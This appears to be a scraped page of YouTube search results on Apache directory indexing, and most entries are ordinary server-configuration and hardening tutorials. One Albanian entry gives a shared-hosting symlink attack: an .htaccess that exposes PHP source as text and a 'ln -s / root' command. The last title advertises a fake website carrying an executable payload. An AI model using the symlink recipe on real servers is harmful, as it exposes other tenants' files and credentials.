Search results “Apache options directory index”
Apache Secure Tutorial: Hide HTTP Header and Disable Directory Listing
This is one of the basic secuirty hardening and first steps, by default server will show the OS information and Apache version in the footer whenever a page not found or any other requests replies. One of the first steps when you start securing your Apache server is to disable the directory browsing, you don't want anyone to browse your file and know the structure. Other Apache Hardening Tutorials: 1- Secure Apache Web Server - Use SSLScan and Disable Ciphers: https://goo.gl/mb7pYz 2- Apache Secure Tutorial: Hide HTTP Header and Disable Directory Listing: https://goo.gl/VqcLrG 3- Apache Hardening Tutorial: Disable HTTP Trace / Cross Site Method https://goo.gl/KJnbDS Disable Server Response Header vi /etc/httpd/conf/httpd.conf Add ServerTokens Prod Save Restart Apache service httpd restart "RHEL/CentOS 6 and earlier versions" systemctl restart httpd "RHEL/CentOS 7 and earlier versions" Disable Apache Trailing Footer vi /etc/httpd/conf/httpd.conf Add ServerSignature Off Save Restart Apache service httpd restart "RHEL/CentOS 6 and earlier versions" systemctl restart httpd "RHEL/CentOS 7 and earlier versions" n this example i will disable browsing for /var/www/html/dotsway folder. vi /etc/httpd/conf/httpd.com Add below to the directory part Options -Indexes Save Restart Apache service httpd restart OR systemctl restart httpd
Views: 2043 dotsway
Web Server: Enable Directory Listing / Directory Browsing with .htaccess & create files with no name
Web Servers hide the contents of folders by default. If there’s no index.html or index.php file, it will show a "403 Forbidden" error. That means that the folder exists, but you don’t have access to it. Different from a "404 Not Found" error, meaning no such folder exists. If you want to see the files inside all folders, you need to put this .htaccess file in the directory you want to enable Download htaccess zip http://www.mediafire.com/download/qm398c6l99xl8o8/htaccess+File+Inside.zip UnZip it and it should work. (This is if you’re having trouble creating files with no name, only an extension) ➤Create .htaccess file -Open notepad (or other text editor) -Save a blank file called ".htaccess" (no filename just an extension) -Make sure you change the "Save as Type" dropdown from "Text Document *.txt" to "All files" -Use ftp software to copy the .htaccess file to your web server -You might need to "Show hidden files" in order to see it ➤Configuring htaccess ➨"Options +Indexes" -Adding this enables the list of files in the folder -Capitalization doesn’t matter -You can comment out lines with a hashtag/number sign (#) ➨"IndexOptions FancyIndexing" -This changes the display ➨"Options -Indexes" -this hides the listings. Add a new .htaccess file in a subfolder to disable directory listing in that folder and keep it active in the containing folder ➨"DirectoryIndex 1.txt" -This sets the default page to load instead of index.html or index.php (as long as 1.txt exists) ➨"IndexIgnore *.txt *.doc" -This excludes any files with the extension txt & doc from the list -They’re still accessible by direct URL, but just won’t show up if directory listing is enabled More Detailed video https://www.youtube.com/watch?v=hsaaVCB55dQ
Views: 26642 TanUv90
Apache - disable and enable directory listing
Apache http server can be downloaded from: http://httpd.apache.org/ In httpd.conf disable directory listing Options -Indexes enabledirectory listing Options +Indexes More about this video: http://jiansenlu.blogspot.ca/2014/01/apache-disable-directory-listing.html
Views: 8717 Jiansen Lu
Установка Web-сервера под Windows #2 – Apache и PHP
Правки в httpd.conf: Options Includes Indexes FollowSymLinks AllowOverride All Allow from all DirectoryIndex index.php index.html Подключение PHP: LoadModule php7_module "C:\web\server\php\php7apache2_4.dll" AddHandler application/x-httpd-php .php PHPIniDir "C:\web\server\php" Команды для установки Apache: cd "c:\web\server\apache\bin" httpd -k install Путь файла hosts: C:\Windows\System32\drivers\etc
Views: 573 Eni WEB
วิธีทำ Virtual Host บน Apache 2.4.10 บน Windows
วิธีทำ Virtual Host บน Apache 2.4.10 บน Windows How to Config Virtual Host for Apache 2.4.10 on Windows - เตรียมสร้ง Folder ให้พร้อมไว้ ผมสร้างที่ D:\_MySite_ ด้านในมี Folder ย่อยคือ localhost , website1, website2 - แก้ไขไฟล์ httpd.conf ให้เรียกใช้ vhost Include conf/extra/httpd-vhosts.conf - แก้ไขให้เรียกใช้ LoadModule vhost_alias_module modules/mod_vhost_alias.so - แก้ไขไฟล์ vhost.conf Directory "d:/_MySite_" Require all granted /Directory NameVirtualHost *:80 VirtualHost *:80 DocumentRoot d:/_Mysite_/localhost ServerName localhost ServerAlias localhost Directory "d:/_Mysite_/localhost" Options FollowSymlinks Indexes Includes ExecCGI Order allow,deny Allow from all DirectoryIndex index.htm index.html index.php /Directory /VirtualHost VirtualHost *:80 DocumentRoot d:/_Mysite_/website1 ServerName website1 ServerAlias website1 Directory "d:/_Mysite_/website1" Options FollowSymlinks Indexes Includes ExecCGI Order allow,deny Allow from all DirectoryIndex index.htm index.html index.php /Directory /VirtualHost VirtualHost *:80 DocumentRoot d:/_Mysite_/website2 ServerName website2 ServerAlias website2 Directory "d:/_Mysite_/website2" Options FollowSymlinks Indexes Includes ExecCGI Order allow,deny Allow from all #DirectoryIndex index.htm index.html index.php /Directory /VirtualHost By Taonoi Narak [email protected] 15/ต.ค./2014 20:50
Views: 773 Taonoi Narakmak
What is WEBSERVER DIRECTORY INDEX? What does WEBSERVER DIRECTORY INDEX mean? WEBSERVER DIRECTORY INDEX meaning - WEBSERVER DIRECTORY INDEX definition - WEBSERVER DIRECTORY INDEX explanation. Source: Wikipedia.org article, adapted under https://creativecommons.org/licenses/by-sa/3.0/ license. SUBSCRIBE to our Google Earth flights channel - https://www.youtube.com/channel/UC6UuCPh7GrXznZi0Hz2YQnQ When an HTTP client (generally a web browser) requests a URL that points to a directory structure instead of an actual web page within the directory, the web server will generally serve a default page, which is often referred to as a main or "index" page. A common filename for such a page is index.html, but most modern HTTP servers offer a configurable list of filenames that the server can use as an index. If a server is configured to support server-side scripting, the list will usually include entries allowing dynamic content to be used as the index page (e.g. index.php, index.shtml, index.jsp, default.asp) even though it may be more appropriate to still specify the html output (index.html.php or index.html.aspx), as this should not be taken for granted. An example is the popular open source web server Apache, where the list of filenames is controlled by the DirectoryIndex directive in the main server configuration file or in the configuration file for that directory. It is possible to make do without file extensions at all, and be neutral to content delivery methods, and set the server to automatically pick the best file through content negotiation. If the server is unable to find a file with any of the names listed in its configuration, it may either return an error (generally 404 Not Found) or generate its own index page listing the files in the directory. It may also return a 403 Index Listing Forbidden. Usually this option is also configurable. Since the index page is often the first page of a Web site that a user sees, it is sometimes used to offer a menu of language options for large Web sites that use geo targeting. It is also possible to avoid this step, for example by using content negotiation.
Views: 32 The Audiopedia
.htaccess Tutorials - Directory Listing (index of list)
.htaccess Tutorials - Directory Listing (index of list) .htaccess code : Options -Indexes IndexIgnore * Stack Overflow Question : http://stackoverflow.com/questions/14062641/indexignore-or-options-indexes Localhost Server Configuration : Apache Version : 2.2.22 PHP Version : 5.3.13 MySQL Version : 5.5.24 WampServer Version : 2.2 More .htaccess Tutorials : http://youtube.com/playlist?list=PLhSnGF_9H8EQBxUdaBQUOrp0zYmyi7ZIG --- Links --- Hosting Coupon Codes http://coupon.verifiedjoseph.com === Email Me: http:///emailme.verifiedjoseph.com Google+ http://plus.verifiedjoseph.com Twitter : http://twitter.verifiedjoseph.com Website : http://verifiedjoseph.com Stats : http://vstats.verifiedjoseph.com === Interested in a YouTube partnership with RPM Network/Maker Studios: http://network.verifiedjoseph.com
Views: 2643 Echo 442 Studios
How to config cgi python apache2 Windows
How to config cgi python apache2 Windows 7 Windows 8 Windows 10 you must have python and wamp or just apache2 installing on your pc Link Wamp Windows Apache Mysql PHP http://www.wampserver.com/ Link Python https://www.python.org/downloads/ add those lignes to httpd.conf apache2 config file between directory ----------------------------------------------------------------------------------------- AddHandler cgi-script .cgi .py Options Indexes FollowSymLinks ExecCGI ----------------------------------------------------------------------------------------- index.py test page -------------------------------------------------------------------------------------------- print "Content-type: text/html" print print "Hello" ---------------------------------------------------------------------------------------------
Views: 22903 jemi aymen
6 Apache Options
Sin audio.
Views: 60 Angelica Fernandez
Solr Indexing Sample Docs to solr core and searching with various filter query options
This tutorial will help in indexing sample Solr Docs using Post Utility. Indexing into specific core. Searching queries to fetch data based on Filter query and other options. let assume file as dummy.xml under example/exampledocs directory. Go to exampledocs directory using command prompt & execute - java -jar post.jar dummy.xml For multiple XML files use - java -jar post.jar dummy.xml dummy1.xml For all XML files present in working directory use- java -jar post.jar *.xml SimplePostTool version 1.5 Posting files to base url http://localhost:8983/solr/update using content-type application/xml.. POSTing file dummy.xml 1 files indexed. COMMITting Solr index changes to http://localhost:8983/solr/update.. Time spent: 0:00:00.547
Views: 12238 Learn Technology
How to : Create an alias directory with WAMP
Tags: active directory alias computer name active directory alias email active directory alias length active directory alias login active directory alias mailnickname active directory alias name active directory alias object active directory alias property alias a directory in linux alias active directory alias active directory account alias active directory domain alias active directory exchange alias active directory users alias cd directory alias cd to directory alias change directory alias command directory alias current directory alias directory .htaccess alias directory apache alias directory apache ubuntu alias directory apache windows alias directory bash alias directory example alias directory forbidden alias directory httpd.conf alias directory in apache alias directory in apache windows alias directory in linux alias directory in unix alias directory in xampp alias directory index alias directory index forbidden by options directive alias directory linux alias directory location alias directory name alias directory nginx alias directory path alias directory php alias directory terminal alias directory ubuntu alias directory unix alias directory wamp alias directory windows alias directory windows 7 alias directory xampp alias for directory bash alias for directory in linux alias for directory path in unix alias previous directory alias ssh directory alias to change directory linux alias to directory apache alias to directory in unix alias to directory linux alias user_data directory alias virtual directory alias virtual directory apache alias virtual directory iis alias working directory apache alias a directory apache alias allow directory listing apache alias directory 403 apache alias directory 403 error apache alias directory 404 apache alias directory and subdirectories apache alias directory browsing apache alias directory centos apache alias directory example apache alias directory example windows apache alias directory forbidden apache alias directory linux apache alias directory listing apache alias directory network drive apache alias directory not found apache alias directory not working apache alias directory on windows apache alias directory options apache alias directory outside of wwwroot apache alias directory permission apache alias directory permission denied apache alias directory redirect apache alias directory ssl apache alias directory tutorial apache alias directory virtual host apache alias directory windows apache alias error directory apache alias external directory apache alias parent directory apache alias remote directory apache alias root directory apache alias without directory apache directory alias wildcard apache2 alias directory permissions apache2 directory alias bash alias change directory bash alias directory path bash alias to directory bash alias working directory browserify alias directory create alias directory windows create alias directory xampp create alias for directory on linux create directory alias oracle directory alias filezilla server directory alias in windows directory alias mac directory alias powershell directory alias zsh dns alias virtual directory dos alias directory drush alias directory easyphp alias directory emacs alias directory filezilla directory alias example git alias working directory httpd alias directory forbidden iis 6 alias virtual directory k directory alias keyring alias directory lighttpd alias directory linux alias change directory make alias directory mamp alias directory mamp alias to directory mod_alias directory nginx alias directory index nginx alias directory index of is forbidden nginx alias directory php nginx alias to directory oracle alias directory os x alias directory os x directory alias owncloud directory alias name powershell alias change directory redmine alias directory rewriterule alias directory server alias directory shell alias directory svn alias directory tomcat 7 alias directory tomcat alias directory unix alias a directory unix alias directory name unix alias for directory virtual host directory alias vsftpd alias directory wamp alias directory does not exist wamp alias directory forbidden wamp alias directory not working windows 7 alias directory windows 8 directory alias xampp alias directory mac
.htaccess Tutorials - Directory Listing (index of list)
.htaccess Tutorials - Directory Listing (index of list) .htaccess code : Options -Indexes IndexIgnore * Stack Overflow Question : http://stackoverflow.com/qu...
Views: 74 efkan ayvaz
Installing and Configuring Web Server in Linux  -Step by Step Method
Apache is the Web Server most frequently used on the Internet today. This tutorial covers its installation and and configuration in Red Hat Linux 6.0 and 7.0. The CD-ROM distribution includes an Apache package, but you can also download Apache for free. • Installing Apache Mount the CD-ROM 1 and install the package for apache. The package will automatically create all the directories for you besides installing the software. The document root will be placed in /home/httpd in 6.0 and in /var/www in 7.0. The server root will be located in /etc/httpd. The path to the apache program will be /usr/sbin/httpd. • Configuring Apache in 6.0 Apache comes with the three configuration files mentioned above already with basic configuration information. Your job will be to tailor these configuration files to your needs. In this tutorial we will only deal with some basic features you need or may be interested in adding to your Web server. 1. httpd.conf: this is the configuration file related to the server in itself. Open the file httpd.conf in Kedit or any other text editor like Pico or Emacs. You are supposed to find the line ServerNameand enter the FQDN of your machine, and also find the line ServerAdmin and enter your e-mail address. The server comes configured to run in standalone mode, to listen in port 80, with user and group nobody privileges (low level of permissions for security reasons), and you don't need to change these options. 2. access.conf: this is the configuration file related to access to directories and services in the Web server. Again, open the file access.conf in a text editor. Look for the section that starts with and look for the Options line and change it to allow Server Side Includes, but disabling scripts to be run from a Web page, as follows: Options Indexes Includes FollowSymLinks IncludesNOEXEC. This will allow the dynamic dating of your changes, the dynamic display of time and date in your pages, but will prevent scripts to be run outside of your cgi-bin directory. For example, will be displayed as Saturday July 22, 2017 -- 01:59 PM As an additional security measure you may also change the section starting with so that the Options line be commented out as follows: # Options ExecCGI. This will not prevent you to run CGI programs in cgi-bin, but rather it will prevent the command exec to be used even in the cgi-bin directory. 3. srm.conf: this is the configuration file related to the location of the document root, directory infornation formatting, user directories, etc. Once more, open the file srm.conf in a text editor. If you want to change the location of the document root, look for the line DocumentRoot /home/httpd/html and change it to a new location, but do not forget to move its three sub-directories (html, cgi-bin and icons) to the new location, but there is no need for it. You may wish, however, to change the default user Web directory to www . Look for the line UserDir and change it to UserDir www . Files placed in the user accounts in this directory are displayed in the web when /~username is used after the server name (e.g. ubmail.ubalt.edu/~abento). You may also want to add index.htm to the list of files that may be index files to a Web directory. In order to do so, look for the line DirectoryIndex and change it to DirectoryIndex index.html index.shtml index.htm Check that your cgi-bin directory is properly identified as follows: ScriptAlias /cgi-bin/ /home/httpd/cgi-bin/ . If you moved your document root path change this line accordingly. If you want your CGI script files to be identified with .cgi be sure that the line AddHandler cgi-script .cgi is not commented out (market with in * in front). To complete the installation of server side includes be sure that the following two lines are present: AddType text/html .shtml AddHandler server-parsed .shtml Finally, to make your Web server support image maps be sure that the following line exists: AddHandler imap-file map • Configuring Apache in 7.0 Apache in 7.0 comes with the same three configuration files, but only httpd.conf needs to be configured, changed, by you. The other two are considered obsolete and should not be changed.
Views: 8639 Skill Institution
Manually Installing and Configuring Apache 2.4 VC14 on Windows 10
I cover the process of manually installing and configuring the 64-bit version of Apache 2.4 on Windows 10 for local development. The version of Apache 2.4 that I choose to download is one that will work with PHP. I spend some time going over various problems that you might encounter. Table of Contents 1:11 Downloading the web server program. 2:41 Verifying the SHA-1 checksum of the software. 4:36 Extracting the program to C:\Apache24 5:15 Running the server from the command prompt 5:42 Troubleshooting the missing VCRUNTIME140.dll error message 7:35 Instructing Windows Firewall to allow access to the web server for private networks only. 8:00 Troubleshooting the "AH00072: make_sock: could not bind to address" error message. 10:18 Starting the program successfully for the first time. 10:55 Determining where the "It works!" web page comes from. 11:53 Creating a virtual host configuration entry to support multiple websites for local development. 14:15 Stopping and starting the server that is still running from the command line. 14:45 Editing the hosts file that tell my computer that specific website address go to my local computer. 16:12 Figuring the "Access is denied" message when trying to save the hosts file. 17:05 Troubleshooting when your web browser searches for the website address instead of actually navigating to it in the address bar. 17:45 Figuring out what causes the "You don't have permission to access / on this server" message. 20:42 Creating an index.html test file. 21:32 Troubleshooting seeing index.html.txt file instead of the contents of the test page. 23:00 Changing more settings in the httpd.conf file (AllowOverride to All and removing the Indexes option). 23:56 Revisiting another variation of the "You don't have permission to access /" message. 26:10 Looking at the "AH00526: Syntax error" message 26:40 Installing Apache 2.4 as a Windows service 28:30 Looking at the Apache Monitor 29:25 Troubleshooting the "The requested operation has failed" message when starting the web server from the monitor. 31:26 Getting the Apache Monitor to automatically start.
Views: 11184 ProgramOften
How do I configure apache to run Perl CGI scripts
Apache Tutorial Dynamic Content with CGI Enable CGI executing and use perl script edit the /etc/httpd/conf/httpd.conf Options FollowSymLinks ExecCGI DirectoryIndex index.html index.cgi AddHandler cgi-script .cgi .pl # /etc//init.d/httpd restart Stopping httpd: [ OK ] Starting httpd:
Views: 6735 Zariga Tongy
Turn off directory indexes with .htaccess
Disable directory indexes with a simple addition to your .htaccess flie. This modification will prevent nosey surfers from exploring your directories and also protect some of your website files from being downloaded. This is a much simpler method versus putting a blank index page in each directory.
Views: 5625 wormracer08
4. Establish htaccess and php.ini for apache web site server configuration tutorial
Lesson Code: http://www.developphp.com/video/PHP/Establish-htaccess-and-phpini-for-apache-web-site-server-configuration Establish your .htaccess file and learn to prevent directory file listing as well as specify a more user friendly 404 error page through htaccess. Request your php.ini file to adjust your PHP configuration settings on your apache server. The PHP configuration file can be made by going to your hosting control panel and clicking the "PHP Configuration" icon.
Views: 88718 Adam Khoury
Shorter share links: getting rid of index.php
By default, Nextcloud share links look like mynextcloud.com/index.php/s/20v0rfzow20 By removing the 'index.php' part, the links get much shorter! mynextcloud.com/s/20v0rfzow20 How? A few server settings is all it takes. Watch the video! Enable the rewrite and env modules in Apache: a2enmod rewrite a2enmod env Enable AllowOverride in the Apache config: vi /etc/apache2/apache2.conf Directory /var/www/ Options Indexes FollowSymLinks AllowOverride None ---- to All Require all granted /Directory Add RewriteBase "/" to the Nextcloud config: cd /var/www/html/ sudo -u www-data ./occ config:system:set htaccess.RewriteBase --value / NOTE that / should be where Nextcloud is installed; that can be /nextcloud, for example. And if you've configured your webroot to be /var/www/html/nextcloud it is / again sudo -u www-data ./occ maintenance:update:htaccess Restart the webserver: service apache2 restart Thanks to Lukas for the idea and how-to! Get your nextcloud at nextcloud.com
Views: 2512 Nextcloud
How to hide your website files from Visitors
How to Prevent a Directory Listing of Your Website with .htaccess by H3X KH4N. If you create a new directory (or folder) on your website, and do not put an "index.html" file in it, you may be surprised to find that your visitors can get a directory listing of all the files in that folder. For example, if you create a folder called "incoming", you can see everything in that directory simply by typing "http://www.example.com/incoming/" in your browser. No password or anything is needed. This article shows you how you can configure your web server so that it does not show a directory listing by default. Prerequisites Your Website Must Be on an Apache Web Server For the method described in this article to work, your site should be hosted on an Apache web server. This probably constitutes the majority of websites on the Internet, so it is likely that you satisfy this requirement. In general, if your web server (the computer that your site is running on) is using Linux or FreeBSD, chances are that it's on an Apache server. If your server is using Windows, your website is probably not using Apache. Note that I'm talking about the computer hosting your website, not your own personal computer. If you're not sure, ask your web host. Your Web Host Must Have Enabled .htaccess Server Overrides In addition to being hosted on an Apache web server, your web host needs to have enabled server overrides. This facility allows you to modify the web server configuration from your own website. In practice, this usually means that your website is hosted on a commercial web host rather than a free one. Free web hosts normally don't allow websites hosted on them to change the web server behaviour. Both the above conditions must be true, or you won't be able to successfully do the things mentioned in this guide. Is Protecting Your Directory Listing From View a Security Measure? Protecting your directories from being listed by your website's visitors does not, in and of itself, make your website more secure. At best, it's security by obscurity — that is, you hope that by hiding stuff from view, nefarious visitors up to no good will not be able to get access to those things. It's the web equivalent of hiding your life savings under your mattress. However, while you should of course implement other measures for securing your site, it's still good practice not to allow your directories to be listed by default. That way, at least, you don't make it too easy for others to survey your site for vulnerabilities. This is especially so if you have third-party scripts on your site (such as, for example, you run a blog). It's important to realise this, so that you don't rely on this method alone for security. Make a Backup of the .htaccess File If you managed to find and download the .htaccess file from your site, save a backup copy on your own computer. That is, make sure you have 2 copies of the .htaccess file on your computer, the one you are about to modify, and a pristine copy of the original. The backup is useful in case you accidentally make an error later. Create or Open the .htaccess File If you've managed to get the .htaccess file, open it in an ASCII text editor (like Notepad). If one does not exist, use the editor to create a new blank document. The rest of this article will assume that you have already started the editor with the .htaccess open or with a blank document if no .htaccess file previously existed. WARNING: do not use a wordprocessor like Word, Office, or WordPad to create or edit your .htaccess file. You should also not use a WYSIWYG (What-You-See-Is-What-You-Get) web editor for this purpose. If you do, your site will mysteriously fail to work when you upload the file to your web server. This is very important. There are no exceptions. Disable Indexing Add the following line to your .htaccess file. Options -Indexes Conclusion: If all goes well, you should get a "Forbidden" error when you try to access a directory that doesn't have an index file.
Views: 7625 H3X KH4N
Change default config for apache
Change apache default config to obstacle permission issue ## Enable permalink Wordpress have pretty permalink features. default it's disabled. ``` a2enmod rewrite sudo gedit /etc/apache2/apache2.conf ``` And change `AllowOverride None` to `AllowOverride All` Then Run `service apache2 restart`
Views: 518 Prosenjit Manna
Apache URL Rewrite (mod_rewrite module) #57
In this tutorial you will learn how to activate Apache URL Rewrite by using mod_rewrite module. I will show you how to activate mod_rewrite module, how to modify an already defined Apache Virtual Host and I will explain what the new options are doing. During this tutorial I will spreak about the following Apache directives: Directory, Options, AllowOverride, Order and Allow. More info on: http://www.liviubalan.com/apache-url-rewrite-mod_rewrite-module
Views: 4186 Liviu Balan
Install Apache Server 2.4.17 for Windows to Access External Drive from Internet
This is a how to video showing how to Install Apache Server 2.4.17 for Windows to Access External Drives from Internet or Locally. This will work for Windows 8, 8.1 10. Didn't test on Windows 7 Open Port 80 on your router for your Computer's Internal IP Address - In my case, it is Download & Install Apache Server for Windows - http://www.apachelounge.com/download/ Download & Install Visual C++ Redistributable for Visual Studio 2015 - https://www.microsoft.com/en-us/download/details.aspx?id=48145 Open Firewall for Apache Server - Start Apache - Windows firewall, Public, Private Go to or in my case internal ip address, your internal ip address will likely be different. It should say It Works or whatever is in the Index.html file in the htdocs folder in Apache24 on the C:Drive. We need to know the name of the computer. Go to Control Panel - System and you will see Computer name - in my case it is Lenovo-PC Now we need to share our External Drive. Right click on the External Drive. Click properties, then Sharing, then Advanced Sharing. Put a check in the Sharing box and save. Make sure permissions say Read only. Edit http.conf file in C:\Apache24\Conf\ folder. These changes allow you to use the External Drive instead of the C:\ Drive Change DocumentRoot "c:/Apache24/htdocs" to DocumentRoot "F:\Televison" Change Directory "c:/Apache24/htdocs" to Directory "F:\Televison" Directory Directory Change AllowOverride none to AllowOverride all Require all denied Require all denied /Directory /Directory Now you will be able to Access the External Drive 3 different ways. 1.) Access locally from 2.) Access locally from your internal IP Address. 3.) Access remotely from the Internet using your External IP Address. You can find your External IP Address by typing What's my IP in a Google Search. You might possibly need to restart your computer for the changes to take effect. It's important to learn to Password protect your server which will be in the next video.
Views: 2591 Vincent Russell
Disable directory Listing Directory browsing - apache Web Server  Linux OS - wideows os
Disable directory Listing Directory browsing - apache Web Server Linux OS - wideows os and all other OS
Views: 78 john ramp
mod_rewrite not working on Apache in ubuntu 18.04 / 16.04 laravel routes not work
Directory /var/www/gloops/public Options Indexes FollowSymLinks AllowOverride All Require all granted /Directory sudo a2enmod rewrite
Views: 6 WorldGyan
Configure Apache using WHM
There are several configuration pages for Apache in WHM. Navigate to the Service Configuration category. 2) Go to Apache Configuration. Before changing any of the settings in this section, it is important that you read over the documentation and instructions, when available. When in doubt, leave a setting alone. 3) Let's start with the Global Configuration page. This page allows you to make some minor adjustments to the way Apache functions. The default settings should work just fine, in most cases. You might want to change the ServerSignature and ServerTokens options. Both of these relate to how your server identifies itself to your visitors and their browsers. 4) When finished here, click Save. For most of the services on your system, any configuration changes will require that the program is restarted. This usually drops any connections currently made to the service, so it's best not to restart a service when a bunch of people are connected. 5) Click here to rebuild Apache's configuration files and restart the program. 6) Return to the Apache Configuration page. 7) Next, PHP and SuExec Configuration. This page allows you to choose which of the PHP versions available on your system are active. You'll also see this page when recompiling Apache and PHP. You can also enable suEXEC for Apache, which decreases the security risks when running CGI and SSI programs. Note that this has no effect on PHP scripts -- that's where suPHP comes in. Enabling both PHP 4 and 5 here is one of the steps involved in running both versions of PHP simultaneously. When you have both on your system, you'll be able to choose which is used by default to execute .php files. 8) Click Save New Configuration when ready. You will be shown the settings you chose and the generated php.conf file. DirectoryIndex Priority lets you change which filenames can be used for the index page of a directory, as well as their order of preference. Let's move a filename up in the list, giving it higher priority. 9) Choose a filename. 10) Click Move Up until the filename is in the desired location. 11) Now, let's remove a filename from the list. 12) If you wish to add a filename to the list, use the Add button. 13) Click Save. 14) Again, you will have to rebuild the configuration files and restart Apache. The Include Editor allows you to enter advanced configuration directives that aren't available elsewhere in WHM. Since your configuration files are constantly recreated from scratch by WHM, manually editing the configuration files is not an option if you want your changes to be retained. Reserved IPs Editor lets you force Apache to run only on specific IPs, rather than all of them as is the default. Apache's log files can get huge quickly if your server hosts a lot of websites. With the Log Rotation page, you can choose which logs are rotated to a backup directory when they reach a certain size. To finish, let's check out the Memory Usage Restrictions page. This tool can help increase your server's stability at the potential cost of performance. It will limit each Apache process to a specific amount of memory, based on its memory usage history on your server. 15) Proceed memory limit has been adjusted.
Change Apache's DocumentRoot Location - Ubuntu 10.04
Quickly change apache's default DocumentRoot directory in Ubuntu 10.04. By default, apache will point to /var/www. See how easy it is to change that!
Views: 14916 webninja311
How to Disable Directory Browsing in WordPress
If your webserver does not find an index file it automatically displays an index page showing the contents of the directory. This makes your site vulnerable to hacks by showing the information needed to get into your theme or a plugin. In this video, we will show you how to disable directory browsing in WordPress. If you liked this video, then please Like and consider subscribing to our channel for more WordPress videos. Text version of this tutorial: http://www.wpbeginner.com/wp-tutorials/disable-directory-browsing-wordpress/ Follow us on Twitter: http://twitter.com/wpbeginner Checkout our website for more WordPress Tutorials http://www.wpbeginner.com/ Summary of this Tutorial: Start by connecting to your site using FTP. You will need to edit your .htaccess file in the root directory of your site found in your root directory. If you do not see the file you will need to tell your FTP client to show hidden files. Download your .htaccess and open it in a text editor like notepad and add the following to the bottom: "Options -Indexes" Then save the file and reupload it to your server with your FTP client.
Cap6. Apache. Options, htaccess y allowoverride
Se da un breve repaso a la directiva options y se explica el funcionamiento del fichero de administración distribuida .htaccess y su control desde Allowoverride
Views: 312 Luis Llano
Prevent Directory Browsing On Your WordPress - Hackers Love Directory Browsing | WP Learning Lab
Grab Your Free 17-Point WordPress Pre-Launch PDF Checklist: http://vid.io/xqRL Download our exclusive 10-Point WP Hardening Checklist: http://bit.ly/10point-wordpress-hardening-checklist Prevent Directory Browsing On Your WordPress - Hackers Love Directory Browsing | WP Learning Lab # BEGIN Directory Browsing Block Options -Indexes # END Directory Browsing Block In this tutorial I show you how to stop hackers from seeing which plugins and themes you have installed on your WordPress site. When hackers know what you have installed they also know what vulnerabilities you have on your site. That makes it easier for them to hack your site. So for your WordPress security make sure you stop directory browsing. So let's put that code into your .htaccess file. First login into your hosting account cPanel. Then find and click on the File Manager icon and choose the Document Root for the website that you are hardening. This will open the root of the website in another tab. You can also log into the website root using FTP if you are more comfortable with that. If you do not see a .htaccess in the website right then you can make one by clicking Add New File in the File Manager or right-clicking and choosing Create New File via FTP. Open the .htaccess file and paste the code from above into it. There is no need to make adjustments to the code. Once pasted in just save the file and you're done. This is an easy way to begin hardening your WordPress site. I hope this information helps you! If you have any questions leave a comment below or ping me @WPLearningLab on Twitter. -------------- If you want more excellent WordPress information check out our website where we post WordPress tutorials daily. http://wplearninglab.com/ Connect with us: WP Learning Lab Channel: http://www.youtube.com/subscription_center?add_user=wplearninglab Facebook: https://www.facebook.com/wplearninglab Twitter: https://twitter.com/WPLearningLab Google Plus: http://google.com/+Wplearninglab Pinterest: http://www.pinterest.com/wplearninglab/
Codeigniter 3  - Removing index php with XAMPP (Latest)
Steps you need to do: 1. Make sure you set the AllowOverride in either (\xampp\apache\conf\httpd.conf) for global settings, or (\xampp\apache\conf\extra\httpd-vhosts.conf) if you are using virtual hosts. Example Virtual Host Directory option AllowOverride All Require all granted 2. Make sure you create .htaccess and save it on your codeigniter application root folder. I am accepting programming tutorial requests using C#, VB.NET, PHP, Java, Android, Inkscape, nodejs and laravel framework. Please email [email protected] if you got some. Follow my pages: Blogspot - https://ron-script.blogspot.com Twitter - https://twitter.com/ronscript Pinterest -www.pinterest.com/ronscript
Views: 1297 ronscript
Configuring Web Server on Ubuntu
apache2.conf: the main Apache2 configuration file. Contains settings that are global to Apache2. conf.d: contains configuration files which apply globally to Apache2. Other packages that use Apache2 to serve content may add files, or symlinks, to this directory. envvars: file where Apache2 environment variables are set. httpd.conf: historically the main Apache2 configuration file, named after the httpd daemon. The file can be used for user specific configuration options that globally effect Apache2. mods-available: this directory contains configuration files to both load modules and configure them. Not all modules will have specific configuration files, however. mods-enabled: holds symlinks to the files in /etc/apache2/mods-available. When a module configuration file is symlinked it will be enabled the next time apache2 is restarted. ports.conf: houses the directives that determine which TCP ports Apache2 is listening on. sites-available: this directory has configuration files for Apache2 Virtual Hosts. Virtual Hosts allow Apache2 to be configured for multiple sites that have separate configurations. sites-enabled: like mods-enabled, sites-enabled contains symlinks to the /etc/apache2/sites-available directory. Similarly when a configuration file in sites-available is symlinked, the site configured by it will be active once Apache2 is restarted. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #apt-get install apache2 # #cd /etc/apache2/sites-available Now Create your own website here. #sudo cp 000-default.conf mysite.conf #sudo nano mysite.conf DocumentRoot /var/www/mysite # cd /var/www/ # sudo mkdir mysite # cd mysite # nano index.html Hello this is my first website in Apache #systemctl reload apache2 #sudo a2dissite 000-default #sudo a2ensite mysite #/etc/init.d/apache2 restart ----------------------------------------------- #cd /etc/apache2/ ports.conf (Ports on which Apache is running) pico apache2.conf (Main Configuration file) ---------------------------------------------------- To enable secure sites #systemctl reload apache2 #sudo a2enmod ssl #sudo a2ensite default-ssl #/etc/init.d/apache2 restart +-------------------------------------------------- To check which Webserver is running ifconfig check the IP open browser On windows and type http://(ip address)
Views: 360 Usman Asim
Solr Basics - solr script, Solr Admin, directories and examples
Learn Apache Solr basics for beginner administration with the command line solr script, Solr Admin Interface in a browser, directory structure and Solr example data sets provided for the Apache Solr Tutorial. Find all of the code here: https://factorpad.com/tech/solr/tutorial/solr-basics.html See the outline of all Solr tutorials here: https://factorpad.com/tech/solr/tutorial/solr-tutorial.html Find an Apache Solr and Lucene reference here: https://factorpad.com/tech/solr/reference/index.html Happy Searching! https://factorpad.com
Views: 5332 FactorPad
Symlink Tutorial By CX007
Link Per Mi Kqyr Sitet En Server http://www.yougetsignal.com/tools/web-sites-on-web-server/ ++++++ Ne .htaccess Shkruani Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php ----------------- ln -s / root [email protected]
Views: 5901 cix osmonaj
Tutorial: How to setup a fake website with an executable payload
